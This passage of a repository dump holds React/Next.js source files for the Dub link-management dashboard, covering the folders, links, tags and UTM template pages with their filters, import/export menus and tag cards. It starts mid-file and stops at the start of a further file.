<FolderCard key={folder.id} folder={folder} />\n              ))}\n            </>\n          )}\n        </div>\n      </div>\n      <div className=\"sticky bottom-0 rounded-b-[inherit] border-t border-neutral-200 bg-white px-3.5 py-2\">\n        <PaginationControls\n          pagination={pagination}\n          setPagination={setPagination}\n          totalCount={foldersCount || 0}\n          unit={(p) => `folder${p ? \"s\" : \"\"}`}\n        />\n      </div>\n    </div>\n  );\n};\n\nexport function FoldersPageControls() {\n  const { AddFolderButton, AddFolderModal } = useAddFolderModal();\n\n  return (\n    <>\n      <AddFolderModal />\n      <AddFolderButton />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/folders/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { FoldersPageClient, FoldersPageControls } from \"./page-client\";\n\nexport default async function FoldersPage() {\n  return (\n    <PageContent\n      title=\"Folders\"\n      titleInfo={{\n        title:\n          \"Learn how to use folders to organize and manage access to your links with fine-grained role-based access controls.\",\n        href: \"https://dub.co/help/article/link-folders\",\n      }}\n      controls={<FoldersPageControls />}\n    >\n      <PageWidthWrapper>\n        <FoldersPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/page-client.tsx",
    "content": "\"use client\";\n\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport {\n  useCheckFolderPermission,\n  useFolderPermissions,\n} from \"@/lib/swr/use-folder-permissions\";\nimport useLinks from \"@/lib/swr/use-links\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { FolderDropdown } from \"@/ui/folders/folder-dropdown\";\nimport {\n  FolderInfoPanel,\n  FolderInfoPanelControls,\n} from \"@/ui/folders/folder-info-panel\";\nimport { RequestFolderEditAccessButton } from \"@/ui/folders/request-edit-button\";\nimport { PageContentWithSidePanel } from \"@/ui/layout/page-content/page-content-with-side-panel\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport LinkDisplay from \"@/ui/links/link-display\";\nimport LinksContainer from \"@/ui/links/links-container\";\nimport { LinksDisplayProvider } from \"@/ui/links/links-display-provider\";\nimport { useLinkFilters } from \"@/ui/links/use-link-filters\";\nimport { useAddEditTagModal } from \"@/ui/modals/add-edit-tag-modal\";\nimport { useDotLinkOfferModal } from \"@/ui/modals/dot-link-offer-modal\";\nimport { useExportLinksModal } from \"@/ui/modals/export-links-modal\";\nimport { useLinkBuilder } from \"@/ui/modals/link-builder\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  Button,\n  Filter,\n  IconMenu,\n  Popover,\n  Tooltip,\n  TooltipContent,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { Download, Globe, TableIcon, Tag } from \"@dub/ui/icons\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport { ReactNode, useEffect, useState } from \"react\";\n\nexport default function WorkspaceLinksClient() {\n  const { folderId } = useCurrentFolderId();\n\n  return (\n    <PageContentWithSidePanel\n      title={\n        <div className=\"-ml-2\">\n          <FolderDropdown hideFolderIcon={true} />\n        </div>\n      }\n      controls={<WorkspaceLinksPageControls />}\n      sidePanel={\n        folderId\n          ? {\n              title: \"Folder\",\n              content: <FolderInfoPanel />,\n              controls: <FolderInfoPanelControls />,\n            }\n          : undefined\n      }\n    >\n      <LinksDisplayProvider>\n        <WorkspaceLinks />\n      </LinksDisplayProvider>\n    </PageContentWithSidePanel>\n  );\n}\n\nexport function WorkspaceLinksPageControls() {\n  const { LinkBuilder, CreateLinkButton } = useLinkBuilder();\n\n  return (\n    <>\n      <LinkBuilder />\n      <div className=\"hidden sm:block\">\n        <CreateLinkButton className=\"h-9\" />\n      </div>\n    </>\n  );\n}\n\nfunction WorkspaceLinks() {\n  const router = useRouter();\n  const { isValidating } = useLinks();\n  const searchParams = useSearchParams();\n  const workspace = useWorkspace();\n  const { LinkBuilder, CreateLinkButton } = useLinkBuilder();\n  const { AddEditTagModal, setShowAddEditTagModal } = useAddEditTagModal();\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveFilter,\n    onRemoveAll,\n    setSearch,\n    setSelectedFilter,\n  } = useLinkFilters();\n\n  const { folderId } = useCurrentFolderId();\n  const { isLoading } = useFolderPermissions();\n  const canCreateLinks = useCheckFolderPermission(\n    folderId,\n    \"folders.links.write\",\n  );\n\n  const [dotLinkOfferDismissed, _, { loading: loadingDotLinkOfferDismissed }] =\n    useWorkspaceStore<string>(\"dotLinkOfferDismissed\");\n\n  const [showedDotLinkModal, setShowedDotLinkModal] = useState(false);\n  const { setShowDotLinkOfferModal, DotLinkOfferModal } =\n    useDotLinkOfferModal();\n\n  useEffect(() => {\n    if (showedDotLinkModal) return;\n\n    // We show the .link offer modal if:\n    // - The upgraded modal is not open\n    // - The user has a paid plan (and valid stripe ID)\n    // - The user has no custom domains\n    // - The user has not claimed their .link domain\n    // - The user has not dismissed the .link offer modal\n    if (\n      !searchParams.has(\"upgraded\") &&\n      workspace.stripeId &&\n      workspace.plan &&\n      workspace.plan !== \"free\" &&\n      workspace.domains?.length === 0 &&\n      !workspace.dotLinkClaimed &&\n      !loadingDotLinkOfferDismissed &&\n      dotLinkOfferDismissed === undefined\n    ) {\n      setShowDotLinkOfferModal(true);\n      setShowedDotLinkModal(true);\n    }\n  }, [\n    showedDotLinkModal,\n    searchParams,\n    workspace,\n    loadingDotLinkOfferDismissed,\n    dotLinkOfferDismissed,\n  ]);\n\n  return (\n    <>\n      <DotLinkOfferModal />\n      <LinkBuilder />\n      <AddEditTagModal />\n      <div className=\"flex w-full items-center\">\n        <PageWidthWrapper className=\"flex flex-col gap-y-3\">\n          <div className=\"flex flex-wrap items-center justify-between gap-2\">\n            <div className=\"flex w-full grow gap-2 md:w-auto\">\n              {!workspace.isMegaWorkspace && (\n                <div className=\"grow basis-0 md:grow-0\">\n                  <Filter.Select\n                    filters={filters}\n                    activeFilters={activeFilters}\n                    onSelect={onSelect}\n                    onRemove={onRemove}\n                    onSearchChange={setSearch}\n                    onSelectedFilterChange={setSelectedFilter}\n                    className=\"w-full\"\n                    emptyState={{\n                      tagIds: (\n                        <div className=\"flex flex-col items-center gap-2 p-2 text-center text-sm\">\n                          <div className=\"flex items-center justify-center rounded-2xl border border-neutral-200 bg-neutral-50 p-3\">\n                            <Tag className=\"size-6 text-neutral-700\" />\n                          </div>\n                          <p className=\"mt-2 font-medium text-neutral-950\">\n                            No tags found\n                          </p>\n                          <p className=\"mx-auto mt-1 w-full max-w-[180px] text-neutral-700\">\n                            Add tags to organize your links\n                          </p>\n                          <div>\n                            <Button\n                              className=\"mt-1 h-8\"\n                              onClick={() => setShowAddEditTagModal(true)}\n                              text=\"Add tag\"\n                            />\n                          </div>\n                        </div>\n                      ),\n                      domain: (\n                        <div className=\"flex flex-col items-center gap-2 p-2 text-center text-sm\">\n                          <div className=\"flex items-center justify-center rounded-2xl border border-neutral-200 bg-neutral-50 p-3\">\n                            <Globe className=\"size-6 text-neutral-700\" />\n                          </div>\n                          <p className=\"mt-2 font-medium text-neutral-950\">\n                            No domains found\n                          </p>\n                          <p className=\"mx-auto mt-1 w-full max-w-[180px] text-neutral-700\">\n                            Add a custom domain to match your brand\n                          </p>\n                          <div>\n                            <Button\n                              className=\"mt-1 h-8\"\n                              onClick={() =>\n                                router.push(\n                                  `/${workspace.slug}/settings/domains`,\n                                )\n                              }\n                              text=\"Add domain\"\n                            />\n                          </div>\n                        </div>\n                      ),\n                    }}\n                  />\n                </div>\n              )}\n              <div className=\"grow basis-0 md:grow-0\">\n                <LinkDisplay />\n              </div>\n            </div>\n            <div className=\"flex gap-x-2 max-md:w-full\">\n              <div className=\"w-full md:w-56 xl:w-64\">\n                <SearchBoxPersisted\n                  loading={isValidating}\n                  inputClassName=\"h-10\"\n                  placeholder={\n                    workspace.isMegaWorkspace\n                      ? \"Search by short link\"\n                      : \"Search by short link or URL\"\n                  }\n                />\n              </div>\n\n              {isLoading ? (\n                <div className=\"h-10 w-[2.125rem] animate-pulse rounded-md bg-neutral-200\" />\n              ) : canCreateLinks ? (\n                <MoreLinkOptions />\n              ) : (\n                <div className=\"w-fit\">\n                  <RequestFolderEditAccessButton\n                    folderId={folderId!}\n                    workspaceId={workspace.id!}\n                    variant=\"primary\"\n                  />\n                </div>\n              )}\n            </div>\n          </div>\n          <Filter.List\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onRemoveFilter={onRemoveFilter}\n            onRemoveAll={onRemoveAll}\n          />\n        </PageWidthWrapper>\n      </div>\n\n      <div className=\"mt-3\">\n        <LinksContainer\n          CreateLinkButton={canCreateLinks ? CreateLinkButton : () => <></>}\n        />\n      </div>\n    </>\n  );\n}\n\nconst MoreLinkOptions = () => {\n  const { queryParams } = useRouterStuff();\n  const [openPopover, setOpenPopover] = useState(false);\n  const [_state, setState] = useState<\"default\" | \"import\">(\"default\");\n  const { ExportLinksModal, setShowExportLinksModal } = useExportLinksModal();\n\n  useEffect(() => {\n    if (!openPopover) setState(\"default\");\n  }, [openPopover]);\n\n  return (\n    <>\n      <ExportLinksModal />\n      <Popover\n        content={\n          <div className=\"w-full md:w-52\">\n            <div className=\"grid gap-px p-2\">\n              <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                Import Links\n              </p>\n              <ImportOption\n                onClick={() => {\n                  setOpenPopover(false);\n                  queryParams({\n                    set: {\n                      import: \"bitly\",\n                    },\n                  });\n                }}\n              >\n                <IconMenu\n                  text=\"Import from Bitly\"\n                  icon={\n                    <img\n                      src=\"https://assets.dub.co/misc/icons/bitly.svg\"\n                      alt=\"Bitly logo\"\n                      className=\"h-4 w-4\"\n                    />\n                  }\n                />\n              </ImportOption>\n              <ImportOption\n                onClick={() => {\n                  setOpenPopover(false);\n                  queryParams({\n                    set: {\n                      import: \"rebrandly\",\n                    },\n                  });\n                }}\n              >\n                <IconMenu\n                  text=\"Import from Rebrandly\"\n                  icon={\n                    <img\n                      src=\"https://assets.dub.co/misc/icons/rebrandly.svg\"\n                      alt=\"Rebrandly logo\"\n                      className=\"h-4 w-4\"\n                    />\n                  }\n                />\n              </ImportOption>\n              <ImportOption\n                onClick={() => {\n                  setOpenPopover(false);\n                  queryParams({\n                    set: {\n                      import: \"short\",\n                    },\n                  });\n                }}\n              >\n                <IconMenu\n                  text=\"Import from Short.io\"\n                  icon={\n                    <img\n                      src=\"https://assets.dub.co/misc/icons/short.svg\"\n                      alt=\"Short.io logo\"\n                      className=\"h-4 w-4\"\n                    />\n                  }\n                />\n              </ImportOption>\n              <ImportOption\n                onClick={() => {\n                  setOpenPopover(false);\n                  queryParams({\n                    set: {\n                      import: \"csv\",\n                    },\n                  });\n                }}\n              >\n                <IconMenu\n                  text=\"Import from CSV\"\n                  icon={<TableIcon className=\"size-4\" />}\n                />\n              </ImportOption>\n            </div>\n            <div className=\"border-t border-neutral-200\" />\n            <div className=\"grid gap-px p-2\">\n              <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                Export Links\n              </p>\n              <button\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowExportLinksModal(true);\n                }}\n                className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n              >\n                <IconMenu\n                  text=\"Export as CSV\"\n                  icon={<Download className=\"h-4 w-4\" />}\n                />\n              </button>\n            </div>\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        align=\"end\"\n      >\n        <Button\n          onClick={() => setOpenPopover(!openPopover)}\n          variant=\"secondary\"\n          className=\"w-auto px-1.5\"\n          icon={<ThreeDots className=\"h-5 w-5 text-neutral-500\" />}\n        />\n      </Popover>\n    </>\n  );\n};\n\nfunction ImportOption({\n  children,\n  onClick,\n}: {\n  children: ReactNode;\n  onClick: () => void;\n}) {\n  const { slug, exceededLinks, plan, nextPlan } = useWorkspace();\n\n  return exceededLinks && plan !== \"enterprise\" ? (\n    <Tooltip\n      content={\n        <TooltipContent\n          title=\"Your workspace has exceeded its monthly links limit. We're still collecting data on your existing links, but you need to upgrade to create more links.\"\n          cta={nextPlan ? `Upgrade to ${nextPlan.name}` : \"Contact support\"}\n          href={`/${slug}/upgrade`}\n        />\n      }\n    >\n      <div className=\"flex w-full cursor-not-allowed items-center justify-between space-x-2 rounded-md p-2 text-sm text-neutral-400 [&_img]:grayscale\">\n        {children}\n      </div>\n    </Tooltip>\n  ) : (\n    <button\n      onClick={onClick}\n      className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n    >\n      {children}\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/page.tsx",
    "content": "import WorkspaceLinksClient from \"./page-client\";\n\nexport default function WorkspaceLinks() {\n  return <WorkspaceLinksClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/tags/page-client.tsx",
    "content": "\"use client\";\n\nimport useTags from \"@/lib/swr/use-tags\";\nimport useTagsCount from \"@/lib/swr/use-tags-count\";\nimport { TAGS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/tags\";\nimport { useAddEditTagModal } from \"@/ui/modals/add-edit-tag-modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  CardList,\n  PaginationControls,\n  usePagination,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { Tag } from \"@dub/ui/icons\";\nimport { createContext, Dispatch, SetStateAction, useState } from \"react\";\nimport { TagCard } from \"./tag-card\";\nimport { TagCardPlaceholder } from \"./tag-card-placeholder\";\n\nexport const TagsListContext = createContext<{\n  openMenuTagId: string | null;\n  setOpenMenuTagId: Dispatch<SetStateAction<string | null>>;\n}>({\n  openMenuTagId: null,\n  setOpenMenuTagId: () => {},\n});\n\nexport default function WorkspaceTagsClient() {\n  const { searchParams, queryParams } = useRouterStuff();\n\n  const { AddEditTagModal, AddTagButton } = useAddEditTagModal();\n\n  const search = searchParams.get(\"search\");\n  const { pagination, setPagination } = usePagination(TAGS_MAX_PAGE_SIZE);\n\n  const { tags, loading } = useTags({\n    query: {\n      search: search ?? \"\",\n      page: pagination.pageIndex,\n    },\n    includeLinksCount: true,\n  });\n  const { data: tagsCount } = useTagsCount({\n    query: { search: search ?? \"\" },\n  });\n\n  const [openMenuTagId, setOpenMenuTagId] = useState<string | null>(null);\n\n  return (\n    <div className=\"grid grid-cols-1 gap-4 pb-10\">\n      <AddEditTagModal />\n      <div className=\"flex w-full flex-wrap items-center justify-between gap-3 sm:w-auto\">\n        <SearchBoxPersisted\n          loading={loading}\n          onChangeDebounced={(t) => {\n            if (t) {\n              queryParams({ set: { search: t }, del: \"page\" });\n            } else {\n              queryParams({ del: \"search\" });\n            }\n          }}\n        />\n      </div>\n\n      {!loading && tags?.length === 0 ? (\n        <AnimatedEmptyState\n          title=\"No tags found\"\n          description=\"Create tags to organize your links\"\n          cardContent={\n            <>\n              <div className=\"flex size-7 items-center justify-center rounded-md border border-neutral-200 bg-neutral-50\">\n                <Tag className=\"size-4 text-neutral-700\" />\n              </div>\n              <div className=\"h-2.5 w-28 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          }\n          addButton={<AddTagButton />}\n          learnMoreHref=\"https://dub.co/help/article/how-to-use-tags\"\n        />\n      ) : (\n        <>\n          <TagsListContext.Provider value={{ openMenuTagId, setOpenMenuTagId }}>\n            <CardList variant=\"compact\" loading={loading}>\n              {tags?.length\n                ? tags.map((tag) => <TagCard key={tag.id} tag={tag} />)\n                : Array.from({ length: 6 }).map((_, idx) => (\n                    <TagCardPlaceholder key={idx} />\n                  ))}\n            </CardList>\n          </TagsListContext.Provider>\n          <div className=\"sticky bottom-0 rounded-b-[inherit] border-t border-neutral-200 bg-white px-3.5 py-2\">\n            <PaginationControls\n              pagination={pagination}\n              setPagination={setPagination}\n              totalCount={tagsCount || 0}\n              unit={(p) => `tag${p ? \"s\" : \"\"}`}\n            />\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n\nexport function TagsPageControls() {\n  const { AddEditTagModal, AddTagButton } = useAddEditTagModal();\n\n  return (\n    <>\n      <AddEditTagModal />\n      <AddTagButton />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/tags/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { Suspense } from \"react\";\nimport WorkspaceTagsClient, { TagsPageControls } from \"./page-client\";\n\nexport default function TagsPage() {\n  return (\n    <PageContent\n      title=\"Tags\"\n      titleInfo={{\n        title:\n          \"Learn how to use tags to organize your links and retrieve analytics for them.\",\n        href: \"https://dub.co/help/article/how-to-use-tags\",\n      }}\n      controls={<TagsPageControls />}\n    >\n      <PageWidthWrapper>\n        <Suspense>\n          <WorkspaceTagsClient />\n        </Suspense>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/tags/tag-card-placeholder.tsx",
    "content": "import { CardList } from \"@dub/ui\";\n\nexport function TagCardPlaceholder() {\n  return (\n    <CardList.Card>\n      <div className=\"flex h-8 items-center justify-between gap-5 sm:gap-8 md:gap-12\">\n        <div className=\"flex items-center gap-3\">\n          <div className=\"h-5 w-5 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200 sm:w-32\" />\n        </div>\n        <div className=\"flex items-center gap-5 sm:gap-8 md:gap-12\">\n          <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"w-8\" />\n        </div>\n      </div>\n    </CardList.Card>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/tags/tag-card.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { TagProps } from \"@/lib/types\";\nimport TagBadge from \"@/ui/links/tag-badge\";\nimport { useAddEditTagModal } from \"@/ui/modals/add-edit-tag-modal\";\nimport { Delete, ThreeDots } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  CardList,\n  Popover,\n  useClickHandlers,\n  useCopyToClipboard,\n  useIntersectionObserver,\n  useKeyboardShortcut,\n} from \"@dub/ui\";\nimport {\n  CircleCheck,\n  Copy,\n  Globe,\n  LoadingSpinner,\n  PenWriting,\n} from \"@dub/ui/icons\";\nimport { cn, nFormatter, pluralize } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { useContext, useEffect, useRef, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { TagsListContext } from \"./page-client\";\n\nexport function TagCard({\n  tag,\n}: {\n  tag: TagProps & { _count?: { links: number } };\n}) {\n  const router = useRouter();\n  const { id, slug, role } = useWorkspace();\n\n  const linksCount = tag._count?.links;\n\n  const { openMenuTagId, setOpenMenuTagId } = useContext(TagsListContext);\n  const openPopover = openMenuTagId === tag.id;\n  const setOpenPopover = (open: boolean) => {\n    setOpenMenuTagId(open ? tag.id : null);\n  };\n\n  const [processing, setProcessing] = useState(false);\n\n  const { AddEditTagModal, setShowAddEditTagModal } = useAddEditTagModal({\n    props: tag,\n  });\n\n  const permissionsError = clientAccessCheck({\n    action: \"tags.write\",\n    role,\n  }).error;\n\n  const [copiedTagId, copyToClipboard] = useCopyToClipboard();\n\n  const copyTagId = () => {\n    toast.promise(copyToClipboard(tag.id), {\n      success: \"Tag ID copied!\",\n    });\n  };\n\n  const handleDelete = async () => {\n    if (\n      !confirm(\n        \"Are you sure you want to delete this tag? All tagged links will be untagged, but they won't be deleted.\",\n      )\n    )\n      return;\n\n    setProcessing(true);\n    fetch(`/api/tags/${tag.id}?workspaceId=${id}`, {\n      method: \"DELETE\",\n    })\n      .then(async (res) => {\n        if (res.ok) {\n          await Promise.all([\n            mutatePrefix(\"/api/tags\"),\n            mutatePrefix(\"/api/links\"),\n          ]);\n          toast.success(\"Tag deleted\");\n        } else {\n          const { error } = await res.json();\n          toast.error(error.message);\n        }\n      })\n      .finally(() => setProcessing(false));\n  };\n\n  const ref = useRef<HTMLDivElement>(null);\n  const entry = useIntersectionObserver(ref);\n  const isInView = entry?.isIntersecting;\n\n  const linkPageUrl = `/${slug}/links?tagIds=${tag.id}`;\n  useEffect(() => {\n    if (isInView) router.prefetch(linkPageUrl);\n  }, [isInView]);\n\n  return (\n    <>\n      <AddEditTagModal />\n\n      <CardList.Card\n        key={tag.id}\n        innerClassName={cn(\n          \"flex items-center justify-between gap-5 sm:gap-8 md:gap-12 cursor-pointer text-sm transition-opacity\",\n          processing && \"opacity-50\",\n        )}\n        {...useClickHandlers(linkPageUrl, router)}\n      >\n        <div ref={ref} className=\"flex min-w-0 grow items-center gap-3\">\n          <TagBadge color={tag.color} withIcon className=\"sm:p-1.5\" />\n          <span className=\"min-w-0 truncate whitespace-nowrap text-neutral-800\">\n            {tag.name}\n          </span>\n        </div>\n\n        <div className=\"flex items-center gap-5 sm:gap-8 md:gap-12\">\n          <div className=\"flex items-center gap-1 rounded-md border border-neutral-200 bg-neutral-50 px-2 py-0.5 text-neutral-500\">\n            <Globe className=\"size-3.5\" />\n            {linksCount === undefined ? (\n              <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n            ) : (\n              <span className=\"whitespace-nowrap text-sm font-normal\">\n                {nFormatter(linksCount)} {pluralize(\"link\", linksCount)}\n              </span>\n            )}\n          </div>\n          <Popover\n            content={\n              <div className=\"grid w-full gap-px p-2 sm:w-48\">\n                <Button\n                  text=\"Edit\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowAddEditTagModal(true);\n                  }}\n                  icon={<PenWriting className=\"h-4 w-4\" />}\n                  shortcut=\"E\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabledTooltip={permissionsError || undefined}\n                />\n                <Button\n                  text=\"Copy Tag ID\"\n                  variant=\"outline\"\n                  onClick={() => copyTagId()}\n                  icon={\n                    copiedTagId ? (\n                      <CircleCheck className=\"h-4 w-4\" />\n                    ) : (\n                      <Copy className=\"h-4 w-4\" />\n                    )\n                  }\n                  shortcut=\"I\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n                <Button\n                  text=\"Delete\"\n                  variant=\"danger-outline\"\n                  onClick={handleDelete}\n                  icon={<Delete className=\"h-4 w-4\" />}\n                  shortcut=\"X\"\n                  className=\"h-9 px-2 font-medium\"\n                  disabledTooltip={permissionsError || undefined}\n                />\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"secondary\"\n              className={cn(\n                \"h-8 px-1.5 outline-none transition-all duration-200\",\n                \"border-transparent data-[state=open]:border-neutral-500 sm:group-hover/card:data-[state=closed]:border-neutral-200\",\n              )}\n              icon={\n                processing ? (\n                  <LoadingSpinner className=\"h-5 w-5 shrink-0\" />\n                ) : (\n                  <ThreeDots className=\"h-5 w-5 shrink-0\" />\n                )\n              }\n              onClick={() => {\n                setOpenPopover(!openPopover);\n              }}\n            />\n          </Popover>\n        </div>\n\n        {/* Use consumer + separate component to use hovered state from CardList.Card context */}\n        <CardList.Card.Context.Consumer>\n          {({ hovered }) => (\n            <TagCardKeyboardShortcuts\n              enabled={openPopover || (hovered && openMenuTagId === null)}\n              onKeyDown={(e) => {\n                setOpenPopover(false);\n                switch (e.key) {\n                  case \"e\":\n                    setShowAddEditTagModal(true);\n                    break;\n                  case \"i\":\n                    copyTagId();\n                    break;\n                  case \"x\":\n                    handleDelete();\n                    break;\n                }\n              }}\n            />\n          )}\n        </CardList.Card.Context.Consumer>\n      </CardList.Card>\n    </>\n  );\n}\n\nfunction TagCardKeyboardShortcuts({\n  enabled,\n  onKeyDown,\n}: {\n  enabled: boolean;\n  onKeyDown: (e: KeyboardEvent) => void;\n}) {\n  useKeyboardShortcut([\"e\", \"i\", \"x\"], onKeyDown, {\n    enabled,\n  });\n\n  return null;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/utm/page-client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UtmTemplateWithUserProps } from \"@/lib/types\";\nimport { useAddEditUtmTemplateModal } from \"@/ui/modals/add-edit-utm-template.modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { CardList, DiamondTurnRight, Flag6, GlobePointer } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, createContext, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { TemplateCard } from \"./template-card\";\nimport { TemplateCardPlaceholder } from \"./template-card-placeholder\";\n\nexport const TemplatesListContext = createContext<{\n  openMenuTemplateId: string | null;\n  setOpenMenuTemplateId: Dispatch<SetStateAction<string | null>>;\n}>({\n  openMenuTemplateId: null,\n  setOpenMenuTemplateId: () => {},\n});\n\nexport default function WorkspaceUtmTemplatesClient() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data: templates, isLoading } = useSWR<UtmTemplateWithUserProps[]>(\n    workspaceId && `/api/utm?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  const [openMenuTemplateId, setOpenMenuTemplateId] = useState<string | null>(\n    null,\n  );\n\n  const { AddEditUtmTemplateModal, AddUtmTemplateButton } =\n    useAddEditUtmTemplateModal();\n\n  return (\n    <div className=\"grid grid-cols-1 gap-4\">\n      {workspaceId && <AddEditUtmTemplateModal />}\n\n      {isLoading || templates?.length ? (\n        <TemplatesListContext.Provider\n          value={{ openMenuTemplateId, setOpenMenuTemplateId }}\n        >\n          <CardList variant=\"compact\" loading={isLoading}>\n            {templates?.length\n              ? templates.map((template) => (\n                  <TemplateCard key={template.id} template={template} />\n                ))\n              : Array.from({ length: 6 }).map((_, idx) => (\n                  <TemplateCardPlaceholder key={idx} />\n                ))}\n          </CardList>\n        </TemplatesListContext.Provider>\n      ) : (\n        <AnimatedEmptyState\n          className=\"mt-6\"\n          title=\"No UTM Templates Found\"\n          description=\"Create shared templates to streamline UTM campaign management across your team\"\n          cardContent={\n            <>\n              <DiamondTurnRight className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              <div className=\"hidden grow items-center justify-end gap-1.5 text-neutral-500 sm:flex\">\n                <GlobePointer className=\"size-3.5\" />\n                <Flag6 className=\"size-3.5\" />\n              </div>\n            </>\n          }\n          addButton={<AddUtmTemplateButton />}\n          learnMoreHref=\"https://dub.co/help/article/how-to-create-utm-templates\"\n        />\n      )}\n    </div>\n  );\n}\n\nexport function UTMPageControls() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { AddEditUtmTemplateModal, AddUtmTemplateButton } =\n    useAddEditUtmTemplateModal();\n\n  return (\n    <>\n      {workspaceId && <AddEditUtmTemplateModal />}\n      <AddUtmTemplateButton />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/utm/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { Suspense } from \"react\";\nimport WorkspaceUtmTemplatesClient, { UTMPageControls } from \"./page-client\";\n\nexport default function WorkspaceUtmTemplates() {\n  return (\n    <PageContent\n      title=\"UTM Templates\"\n      titleInfo={{\n        title:\n          \"Learn how to create UTM templates on Dub to streamline UTM campaign management across your team.\",\n        href: \"https://dub.co/help/article/how-to-create-utm-templates\",\n      }}\n      controls={<UTMPageControls />}\n    >\n      <PageWidthWrapper>\n        <Suspense>\n          <WorkspaceUtmTemplatesClient />\n        </Suspense>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/utm/template-card-placeholder.tsx",
    "content": "import { CardList } from \"@dub/ui\";\n\nexport function TemplateCardPlaceholder() {\n  return (\n    <CardList.Card>\n      <div className=\"flex h-8 items-center justify-between gap-5 sm:gap-8 md:gap-12\">\n        <div className=\"flex items-center gap-3\">\n          <div className=\"h-5 w-5 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"h-5 w-16 animate-pulse rounded-md bg-neutral-200 sm:w-32\" />\n        </div>\n        <div className=\"flex items-center gap-5 sm:gap-8 md:gap-12\">\n          <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"hidden h-5 w-16 animate-pulse rounded-md bg-neutral-200 sm:block\" />\n          <div className=\"w-8\" />\n        </div>\n      </div>\n    </CardList.Card>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/links/utm/template-card.tsx",
